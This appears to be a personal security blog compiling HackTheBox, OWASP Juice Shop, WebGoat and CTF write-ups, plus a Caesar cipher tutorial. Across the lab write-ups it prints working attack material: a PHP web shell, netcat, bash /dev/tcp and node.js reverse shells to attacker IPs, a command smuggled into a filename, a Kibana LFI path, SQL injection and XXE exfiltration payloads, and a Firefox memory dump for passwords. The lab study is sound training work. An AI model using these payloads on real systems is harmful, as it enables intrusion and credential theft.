HackTheBox Heist

Heist is an easy Windows box on HackTheBox, however since I have very little experience with Windows, I found it rather difficult.

User

The usual nmap scan reveals the following ports are open:

Port 80 presents a login page and a forgotten password link (/issues.php), which actually goes to a forum post with an attached file containing 3 hashed passwords. These can be cracked with hashcat or for the Type 7 hashes, with this page: http://ibeast.com/tools/CiscoPassword/index.asp

Two usernames can also be found in the above config file, and a third can be found on the forum page (Hazard). Using lookupsid.py from Impacket and trying all combinations of logins gets us a few more usernames on the box.

lookupsid.py hazard:stealth1agent@10.10.10.149

Next, use auxiliary/scanner/winrm/winrm_login from Metasploit to check those usernames/passwords – or check them manually if you are not lazy like me ;-)

We now have another set of valid credentials which we can use to login via Windows Remote Management on port 5985. For this I used evil-winrm which gives a Powershell on the machine.

  ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

And with that we have the user.txt.

Root

For root, we check Get-Process to see that firefox is running, something not very usual on a server, even less a HackTheBox machine.
The way to get root on this box is by making a dump of the firefox process and looking through it for any kind of login information or passwords.

First we get procdump64.exe from Windows Sysinternals and serve it on our attacker machine, and then download it on the box:

(New-Object Net.WebClient).DownloadFile("http://10.10.15.211:8000/procdump64.exe", "C:\Users\chase\Documents\procdump64.exe")

And run it on the firefox process by finding firefox’s PID:

 .\procdump64.exe -accepteula -ma PID

(-accepteula is only necessary the first time you run it).

This will create a rather large dump file (400MB+) that can be a pain to sift through. There are a few ways to do that, I’ll detail two of them here. First is to download the file to our attacker box and use strings on it (evil-winrm has a built-in download function) and grepping for ‘password’.

The second and faster way is to download strings64.exe from Windows Sysinternals and running it on the box with:

./strings64.exe -accepteula firefox.exe.dmp | % { if($_ -match "password") {echo $_} }

| % { if($_ -match “password”) {echo $_} } is the Windows Powershell way of running grep. Linux is so much easier…
It is also possible to use this command to grep: sls password ./firefox.exe.dmp -ca, but I found the screen to scroll by too fast to actually find the password, and the frame buffer too small so I couldn’t scroll that far back.

Finally with our new password we can login as administrator with evil-winrm and get root.txt.

All in all it’s a rather easy and quick machine if you know what you’re doing. I didn’t, and needed hints on the HTB forum several times. But I did learn a lot about Windows enumeration and exploitation, which should make future Windows machines just a little easier.

HackTheBox Networked

‘Networked’ is rated as an easy machine on HackTheBox

User

The usual nmap scan revealed the following open ports:

Running gobuster on port 80 revealed a few endpoints, the most interesting one being /backup which had a tarred backup file which included all the PHP files the server was running on port 80. Running those files in a local server revealed how the file upload process in /upload.php worked, and how to bypass the file type restriction by naming the uploaded file shell.php.png
With this, I was able to upload a PHP reverse shell on the live machine:

<?php system($_GET['cmd']); ?>

and I had the initial foothold.

Unfortunately there wasn’t much I could do as this user, so it was time to escalate to the other user on the box, ‘Guly’. In that user’s home folder I found a script that periodically went through all files in /var/www/html/uploads and acted on the filename of any files there. Since there was no sanitising of the input to the script, creating a file containing a bash pipe character as filename would allow me to break out of the current command, and run arbitrary commands. Creating such a file can be a little tricky, but using quotes allowed me to escape the pipe character and create the following file:

touch  '; nc -nv 10.10.14.103 9001 -c bash;'

When the script parses this file, the ; causes it to end the current command and then run netcat, creating a reverse shell to my machine.
As ‘Guly’, I could now read user.txt.

Root

Running ‘sudo -l’ as ‘Guly’ revealed that I could run a script called changename.sh password-less. Playing around with this script, which appeared to allow renaming of a network adapter, I found out that every input after ‘space’ got interpreted as a command. However, the script blacklisted most symbols including dots, meaning I couldn’t just use ‘cat /root/root.txt’. Nor would the usual bash reverse shell work, as it expects the IP address as the usual xxx.xxx.xxx.xxx.

Here’s a little-known feature of Netcat: instead of using the usual IP notation, it also accepts it in Hex. Using an online calculator, I translated my IP to Hex and introduced the following command in changename.sh:

pleaseconnectmetothisaddress nc -e /bin/sh 0x0A0A0E67 9001

The silly first part was required because the command didn’t get interpreted until after the first space.
Now I had a reverse root shell, and could read root.txt.

HackTheBox Haystack

‘Haystack’ is rated as an easy machine on HackTheBox.

USER

Running nmap on the machine showed that only a few ports were open, with http running on both port 80 and 9200.

Visiting port 80 revealed a very simple page with an image and nothing else. Gobuster didn’t reveal any other endpoints on this port, so obviously the image was important.

Running steghide on the image didn’t reveal anything, but strings did, namely a base64 string that translated to a Spanish sentence:

la aguja en el pajar es "clave"

Meaning “The needle in the hay is ‘key'”, where ‘key’ can also mean ‘password’. Trying to extract more information from the image with steghide and the ‘key’ from above didn’t result in anything.

Since there was nothing else on port 80, I proceeded to look at port 9200.
This presented an Elastiksearch portal, and Duckduckgo’ing this technology I was able to construct a search query:

http://10.10.10.115:9200/_search?pretty&size=200

This query revealed that the database contained bank account information and quotes… Strange combination! Looking through both and narrowing the search by using the keywords found in the image earlier, I came upon some interesting stuff (that would never have been there in a real-world database!):

POST /quotes/_search?pretty
Host: 10.10.10.115:9200
Content-Type: application/json
Content-Length: 79

{
   "query":{
      "query_string":{
         "query":"clave"
      }
   }
}

This revealed two base64’d hashes that included a username and password. With these I could SSH into the box and grab the user.txt.

ROOT

Apart from grabbing the user flag there wasn’t really much else I could do as this user, so I instead tried to escalate to the other user on the system, ‘kibana’.
Luckily there exists a known LFI (Local File Exclusion) vulnerability in Kibana, the software that is part of the Elastiksearch stack. The exploit is pretty straight-forward, create a file on the local machine and make a GET request from the local machine to execute it.

I created a node.js reverse shell and put it in /tmp:


1
2
3
4
5
6
7
8
9
10
11
12
(function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(9001, "10.10.15.9", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application from crashing
})();

And then set up a Netcat listener on my attack box and executed the reverse shell via Curl on the server:

http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js

As the ‘kibana’ user I was able to read the /etc/logstash/conf.d/ directory which contained configuration files for logstash, a process running as root which I had identified earlier with LinEnum.sh.

The most interesting file in the above directory was filter.conf, which explains how logstash greps a file and which parts it executes:

filter {
    if [type] == "execute" {
        grok {
            match => { "message" => 
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

Meaning, logstash looks for the string Ejecutar comando : and executes everything after it (the part after GREEDYDATA. There are several blogs on the Internet explaining this, search for ‘grok’ and ‘greedydata’).
With this in mind I created the file /opt/kibana/logstash_x with a reverse bash shell:

Ejecutar comando : bash -i >& /dev/tcp/10.10.15.9/9001 0>&1

And finally I got a connection on the Netcat listener and was logged in as root and could grab the root flag.

HackTheBox Writeup

‘Writeup’ is rated as an easy machine on HackTheBox.

User

As always, I started with an nmap scan which revealed two ports open, port 22 (SSH) and port 80 (HTTP).

Visiting port 80 showed a very simple page and nothing else. No links, nothing. Well, except for a warning that I’d be banned if I hit a lot of 404 pages, so no gobuster or similar brute forcing was going to work here.

Fortunately, checking robots.txt gave me something to work on, as it didn’t want me to visit /writeup. Which is exactly what I did!
There wasn’t much of interest in /writeup, but wappalyzer (a Firefox plugin) identified the software running as ‘CMS Made Simple’. Something which exploit-db has several exploits for.
I found an SQL injection exploit which didn’t need any valid credentials, and since I wasn’t able to identify the version of CMS Made Simple running, I decided to give it a try.

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

Within a short time the exploit had extracted a username, and the salt and hash for the password. Using hashcat with mode 20 (md5($salt.$pass)) I got the password ‘raykayjay9’ which allowed me to log in via SSH and grab the user flag.

Root

For root, I did the usual and fetched LinEnum and pspy and ran them. I didn’t initially notice anything with these tools, so I ran pspy with the parameters -fp to see all file system events.
When someone ssh’d into the box, sshd would call run-parts without a specific path, looking in the following dirs in the PATH variable:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Checking if any of these directories were writable showed that both /usr/local/sbin and /usr/local/bin were. So what would happen if I were to put an executable script called ‘run-parts’ into either of the above dirs?

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/9001 0>&1

Running chmod +x to make the above script executable and starting a reverse netcat listener

nc -lvnp 9001

All I had to do was log in via SSH again, and I had a reverse root shell and could grab the root flag!

OWASP Juice Shop Cracking

Today I’m going to write how to get the answers to the security answers for the lost password functionality in OWASP Juice Shop. While there’s no achievement for this, it is a very good exercise that teaches both SQL injection, code diving and cracking.
In order to reset a user’s password, 2 things are required: their email and the answer to their security question. Both are initially relatively easy to get, as I’ll show.

There are a couple places in Juice Shop that are vulnerable to SQL injection. My other Juice Shop post explained how to exploit this vulnerability in the login form, but it also exists in the product search page. Furthermore, this is not a blind SQL injection, so we are able to see the full output.

Testing the product search form I was able to provoke an error message that showed the search query being made, and I found out that I could break out of the query by adding ‘)) to the search query, and then construct my own query terminated by — -.

First, I constructed a UNION query to find the number of columns by adding ‘null’ until the query got accepted:

search?q=')) UNION SELECT null,null,null,null,null,null,null,null FROM Products -- -

Next, I altered this base query to find the name of the tables in the database:

search?q=')) UNION SELECT name,name,name,name,name,name,name,name FROM sqlite_master WHERE type='table' -- -

I got the email addresses of the users with a query for the Users table (and yes, I could as well dump the passwords too, which would be so much easier than what I did last time!):

search?q=')) UNION SELECT id,username,email,null,null,null,null,null FROM Users -- -

And with this information I could start extracting the information from the securityAnswers table:

search?q=')) UNION SELECT id,userid,answer,null,null,null,null,null FROM securityAnswers -- -

Great! One problem though: the answers are not in plaintext (nor should they be if this was a real application!). They appear to be hashed as SHA256, so I tried cracking them with hashcat. No luck though.

This is where it gets interesting. Since Juice Shop is open source, I was able to dig through the code on GitHub and search for the code responsible for hashing the security answer. The relevant file can be found here, and the relevant line below:

exports.hmac = data => crypto.createHmac('sha256', '07-92-75-2C-DB-D3').update(data).digest('hex')

So the script takes the security answer (data), and creates a SHA256 HMAC (signed hash) signed with the key “07-92-75-2C-DB-D3”. Now we are in business!

All that remains is to put it all together and crack the hashes. First, I extracted the hashes from the database dump and put it in a format that hashcat understands, namely HASH:KEY, and then ran hashcat with the following arguments:

hashcat -m 1460 -a 3 -w 3 /usr/share/wordlists/rockyou.txt hash.txt

Within a few seconds I had the first 2 security answers, and a couple hours later I got another. I could imagine that some of the answers are too weird to be brute forced (I know Bender’s is!), so it’s doubtful I’ll be able to crack them all.

I think the most important take-away from this exercise is that if you have access to the source code, anything is possible. There’s absolutely no way I’d have been able to crack the HMAC without the secret key, but doing some GitHub search gave me that (and other secrets that’ll help me on future exercises).

EDIT 24/08/19: Björn Kimminich, the creator of Juice Shop, pointed out below that using the source code is cheating. Which makes sense, as it makes many of the challenges very easy that way. Still, seeing as cracking the hashes is neither required, nor an achievement, I think it’s a good exercise nonetheless.

Feel free to post any comments or questions below and I’ll reply as soon as I’m able.

OWASP Juice Shop SQLi

The OWASP Juice Shop is a vulnerable web application to train web application hacking on, much like OWASP WebGoat which I’ve already covered on this blog.
Without spoiling too much, the login form is vulnerable to SQL injection, and it is possible to dump the database from here. I’ll cover the detection of the vulnerability and how to automate exploiting it.
It is very easy to bypass the password check and login as anyone by using some Boolean logic and commenting out the rest of the query, as shown here:

myemail@somewhere.com’ OR 1=1 — –

What exactly does this do? Digging a little deeper in the login form and provoking an error (by only injecting a quote), we can see that the query done by the backend is the following:

“SELECT * FROM Users WHERE email = ‘myemail@somewhere.com’ AND password = ’81dc9bdb52d04dc20036dbd8313ed055′ AND deletedAt IS NULL”

So by injecting a quote (‘) we can break out of the email field and inject our own SQL query, in the above case one that equates to true and comments out the rest of the query, bypassing the password and deletedAt check.

Having identified the vulnerability, let’s try and dump the Users table. First step is to check the number of columns in the table and the name of these. We do this by constructing a UNION query and querying each column by ‘null’ (since we don’t know its name yet).

myemail@somewhere.com’ UNION SELECT null FROM users — –

This returns the following error:

SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns

So we continue adding nulls separated by a comma, until the error goes away:

myemail@somewhere.com’ UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null from users — –

12 columns, that’s a lot! Let’s try and find names for them.
At this point we can guess the names, however the Java Web Token the application sets actually tells us almost all the column names, except one.
To find them, base64-decode the JWT.

id,username,email,isAdmin,lastLoginIp,profileImage,isActive,createdAt,
updatedAt,deletedAt,password,totpSecret

With this information, it is relatively easy to put together a Python script to completely automate the extraction of the database. The only really interesting info in the Users table is the password, so I’ve focused my script on extracting those. Although yes, I’m completely aware that the very first thing I did was bypass the password check, but it’s still nice to be able to login as anyone with their password (Juice Shop actually has an ‘achievement’ for just that!).

If you’re interested head over to my GitHub repo to check out the script.

50m CTF write-up

On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.

Step 1

The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:

./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v

Visiting the link led to a Google Drive box with a single file, an Android APK.

Step 2

First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.

Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!

After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!

I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!

Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:

 #!/usr/bin/env python3.6

""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib

__priority__ = PRIORITY.LOW

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
"\",\"password\":\"1\",\"cmd\":\"getTemp\"}"
retVal = pad(retVal)
iv = Random.new().read(AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
cipher.encrypt(retVal)).decode('utf-8')
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal

I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.

Step 3

Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.

At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.

I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.

 # Script to perform time-based attack on the 50m-CTF login. 
from collections import defaultdict
import requests
import numpy as np
import datetime

url = 'http://104.196.12.98/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
'f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db1300'
results = defaultdict(list)

print('Starting login timing attack at ' +
str(datetime.datetime.now()) + '. \n')

for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req = requests.post(url, headers=headers, data=data)
results[i].append(req.elapsed.total_seconds())
print('Cycle ' + str(j) + ' complete at ' +
str(datetime.datetime.now()) + '. \n')
j += 1

for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))

print('##########################################################\n')

The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.

Step 4

I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..

Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!

At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.

Caesar ciphers in Python

One of the simplest ciphers is the Caesar cipher, also called the shift cipher. It works by shifting each letter in the alphabet n positions to the right, mapping it to a different letter. For example, using ‘rotation 13’, a is shifted 13 positions to the right, corresponding to the letter n.

What happens to the last letters in the alphabet? For example, shifting z 13 positions to the right maps it outside of the 26 letters of the English alphabet. In this case we have to use a bit of math, namely modular arithmetic. Whenever the result of the shift is bigger than the size of the alphabet (called the modulus), it wraps around and starts counting from the beginning. So z rotation 13 would become letter number 13 (26+13-26), or the letter m. Mathematically this is expressed as:

x ≡ (26 + 13) mod 26 ≡ 13

In Python, the modulus operator is designated as %

With these basics, how would we implement a Caesar cipher in Python? First, we need the letter number for each letter in the supplied string (let’s call it num), and then sum the rotation (rot) modulus the number of letters in the alphabet (26).

Mathematically, this would be written as:

x ≡ (num + rot) mod 26

For the first part, getting the letter number, we can either supply a table or, even simpler, get the ASCII value of the letter and subtract 97, since ASCII(‘a’) = 97. Remember, in computer science we almost always start counting at 0, which is why we subtract 97 and not 96 (97-97=0).
Getting the ASCII value is simple in Python, we just use ord() on the letter.

We can now shift the letter with the rotation value using modular arithmetic (to not get out of bounds of the alphabet), and finally change the resulting number back to ASCII using chr(). These 3 steps can be done in Python like this:

num = ord(char)
cypher = (num - 97 + rot) % 26
cypher = chr(cypher + 97)

Doing this for each letter gives us our encrypted string, the cipher text, which we can send to our friends and allies content in the knowledge that nobody can break our state-of-the-art cipher(!).

How then does the recipient decrypt the cipher? Apart from going to one of the countless online breaking tools or breaking it mathematically or using letter analysis, we can of course use Python again to do the decryption. Basically it’s the opposite of what we just did for encryption:

num = ord(char)
plain = (num - 97 - rot) % 26
plain = chr(plain + 97)

As you can see, we now subtract the rotation instead of adding it like in the encryption phase. We again use modulus to wrap around the alphabet, this time when we go lower than 0, or a.

Finally we can wrap the code in a loop so it works on the whole plainstring, import argparse so we can supply the string and rotation directly on the command line, and specify whether we want to encrypt or decrypt. The full script can be found on my GitHub repo or at the bottom of this post.

Using the script to encrypt and decrypt ‘hello world’

A few things to note: the script only encrypts letters, not symbols, and is hardcoded for the English alphabet (26 letters). Also, all letters will be changed to lowercase before encryption.

I hope you enjoyed this post. I intend to bring more crypto-related posts in the future since it is something I’m currently studying.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
# Takes a string and shift encrypts or decrypts it using the
# supplied rotation
import argparse

# Add arguments
parser = argparse.ArgumentParser(description="Encrypt/decrypt
    Caesar cyphers"
)
parser.add_argument("mode", help="Encrypt or decrypt", nargs="?",
    choices=("encrypt", "decrypt"))
parser.add_argument("string", help="String to encrypt/decrypt")
parser.add_argument("rot", help="Rotation to use")
args = parser.parse_args()

# Definitions
mode = args.mode
string = args.string.lower()
rot = int(args.rot)

def encrypt(string, rot):    
    """Caesar encryption function"""
     cypherstr = ""
     for char in string:
         if not char.isalpha():
             cypher = char
         elif char.isalpha():
             num = ord(char)
             cypher = (num - 97 + rot) % 26
             cypher = chr(cypher + 97)
         cypherstr += cypher
     return cypherstr

def decrypt(string, rot):
     """Caesar decryption function"""
     plainstr = ""
     for char in string:
         if not char.isalpha():
             plain = char
         elif char.isalpha():
             num = ord(char)
             plain = (num - 97 - rot) % 26
             plain = chr(plain + 97)
         plainstr += plain
     return plainstr

# Either encrypt or decrypt
if mode == "encrypt":
     print(encrypt(string, rot))
elif mode == "decrypt":
     print(decrypt(string, rot))

OWASP WebGoat XXE

The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>
]>
<comment>
<text>&xxe;</text>
</comment>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘http://192.168.56.101:9090/landing?test=HelloWorld’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://192.168.56.101:9090/landing?%file;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “http://192.168.56.101:9090/files/123456/contents_file.dtd”>
%dtd;]>
<comment>
<text>test&send;</text>
</comment>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.